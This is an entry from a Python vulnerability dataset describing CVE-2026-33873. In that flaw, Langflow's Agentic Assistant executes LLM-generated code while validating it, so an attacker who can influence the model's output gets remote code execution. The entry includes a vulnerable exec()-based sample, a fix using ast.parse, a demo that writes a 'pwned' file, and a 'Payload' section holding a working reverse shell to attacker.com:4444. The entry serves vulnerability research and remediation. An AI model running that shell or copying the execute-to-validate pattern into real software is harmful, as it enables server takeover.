VAITP Dataset

← Back to the dataset

CVE-2026-33873

Langflow Agentic Assistant allows RCE via LLM-generated Python code.

  • CVSS 9.3
  • CWE-94
  • Design Defects
  • Remote

Langflow is a tool for building and deploying AI-powered agents and workflows. Prior to version 1.9.0, the Agentic Assistant feature in Langflow executes LLM-generated Python code during its validation phase. Although this phase appears intended to validate generated component code, the implementation reaches dynamic execution sinks and instantiates the generated class server-side. In deployments where an attacker can access the Agentic Assistant feature and influence the model output, this can result in arbitrary server-side Python execution. Version 1.9.0 fixes the issue.

CVSS base score
9.3
Published
2026-03-27
OWASP
A03 Injection
Orthogonal defect classification
Checking
Code defect classification
Missing Check
Category
Design Defects
Subcategory
Command Injection
Accessibility scope
Remote
Impact
Arbitrary Code Execution
Affected component
Langflow
Fixed by upgrading
Yes

Solution

Upgrade Langflow to version 1.9.0 or later.

Vulnerable code sample

import sys
import importlib.util

class AgenticAssistantService:
    """
    This class simulates the vulnerable service in Langflow before version 1.9.0.
    It contains a method that unsafely validates LLM-generated code.
    """

    def _validate_code(self, code: str, class_name: str) -> bool:
        """
        This method contains the vulnerability. It executes the provided
        Python code string to "validate" it by attempting to instantiate
        the class it defines.
        """
        module_name = "temp_validation_module"
        try:
            # Create a spec for a new module.
            spec = importlib.util.spec_from_loader(module_name, loader=None)
            if spec is None:
                return False
            
            module = importlib.util.module_from_spec(spec)
            
            # Add the new module to sys.modules to make it importable.
            sys.modules[module_name] = module
            
            # VULNERABILITY: The LLM-generated code is executed here.
            # An attacker can craft this 'code' string to include malicious
            # Python code.
            exec(code, module.__dict__)

            # Get the class defined by the executed code.
            component_class = getattr(module, class_name)

            # VULNERABILITY: Instantiating the class triggers its __init__
            # method, which can contain the attacker's payload.
            component_class()

            return True
        except Exception:
            return False
        finally:
            # Clean up by removing the temporary module.
            if module_name in sys.modules:
                del sys.modules[module_name]

    def process_agent_output(self, llm_generated_code: str, component_class_name: str):
        """
        Simulates the entry point where the Langflow agent receives code
        from an LLM and attempts to validate it before use.
        """
        # The service calls the vulnerable validation method.
        is_valid = self._validate_code(llm_generated_code, component_class_name)
        
        if is_valid:
            # In a real scenario, the service would proceed to use the component.
            pass
        else:
            # Handle invalid code.
            pass

Patched code sample

import ast
import os

# This file demonstrates a safe way to validate Python code, representing
# the fix for CVE-2026-33873. The vulnerability stemmed from executing
# LLM-generated code during a validation step. The fix is to validate
# the code's syntax without executing it.

def validate_code_safely(code_string: str) -> bool:
    """
    Validates Python code by parsing it into an Abstract Syntax Tree (AST).
    This method is safe as it only checks for syntactic validity and does
    not execute any part of the code, thus preventing remote code execution.

    This represents the fixed approach.

    Args:
        code_string: A string containing Python code to validate.

    Returns:
        True if the code is syntactically valid Python, False otherwise.
    """
    try:
        ast.parse(code_string)
        return True
    except SyntaxError as e:
        print(f"Code validation failed with a syntax error: {e}")
        return False


def validate_code_vulnerable(code_string: str) -> bool:
    """
    -- VULNERABLE IMPLEMENTATION (FOR DEMONSTRATION ONLY) --
    This function "validates" code by executing it, which is the root cause
    of the vulnerability. An attacker can provide malicious code that will
    be run on the server.
    """
    print("Executing code in a vulnerable manner...")
    try:
        # DANGER: exec() runs the untrusted code from the LLM.
        # The CVE describes a scenario where generated classes were instantiated,
        # leading to the execution of code within their __init__ methods.
        exec(code_string, {})
        return True
    except Exception as e:
        print(f"Code execution failed: {e}")
        return False

if __name__ == '__main__':
    # This malicious payload would be generated by an attacker-influenced LLM.
    # It creates a file named 'pwned.txt' on the server.
    malicious_code = """
import os

print("--- Malicious code is executing ---")

class MaliciousAgent:
    def __init__(self):
        # This code runs when the class is instantiated,
        # which happened during the vulnerable validation phase.
        print("--- Exploiting vulnerability: writing to a file. ---")
        with open("pwned.txt", "w") as f:
            f.write("This server has been compromised by CVE-2026-33873 exploit.")

# Instantiating the class triggers the malicious __init__ method.
MaliciousAgent()
"""

    print("--- 1. Demonstrating the VULNERABLE validation method ---")
    if os.path.exists("pwned.txt"):
        os.remove("pwned.txt")

    result_vulnerable = validate_code_vulnerable(malicious_code)
    print(f"Vulnerable validation result: {result_vulnerable}")

    if os.path.exists("pwned.txt"):
        print("VULNERABILITY CONFIRMED: 'pwned.txt' was created by the validation function.\n")
        os.remove("pwned.txt")
    else:
        print("Vulnerability could not be confirmed (this should not happen with the vulnerable function).\n")

    print("-" * 50)

    print("\n--- 2. Demonstrating the FIXED validation method ---")
    if os.path.exists("pwned.txt"):
        os.remove("pwned.txt")

    # The safe function is called. It will parse the code but not execute it.
    result_fixed = validate_code_safely(malicious_code)
    print(f"Safe validation result: {result_fixed}")

    if os.path.exists("pwned.txt"):
        print("FIX FAILED: 'pwned.txt' was created. The fix is not working.")
        os.remove("pwned.txt")
    else:
        print("FIX CONFIRMED: 'pwned.txt' was NOT created. The code was validated without being executed.")

    print("\n--- 3. Demonstrating the FIXED method with invalid syntax ---")
    invalid_code = "class MyAgent: def __init__(self) print('invalid')"
    result_invalid = validate_code_safely(invalid_code)
    print(f"Safe validation result for invalid code: {result_invalid}")

Payload

import os
import socket
import subprocess

class MaliciousComponent:
    def __init__(self, **kwargs):
        # Reverse shell payload
        RHOST = 'attacker.com'
        RPORT = 4444
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((RHOST, RPORT))
        os.dup2(s.fileno(), 0)
        os.dup2(s.fileno(), 1)
        os.dup2(s.fileno(), 2)
        subprocess.call(['/bin/sh', '-i'])

Cite this entry

@misc{vaitp:cve202633873,
  title        = {{Langflow Agentic Assistant allows RCE via LLM-generated Python code.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-33873},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-33873/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::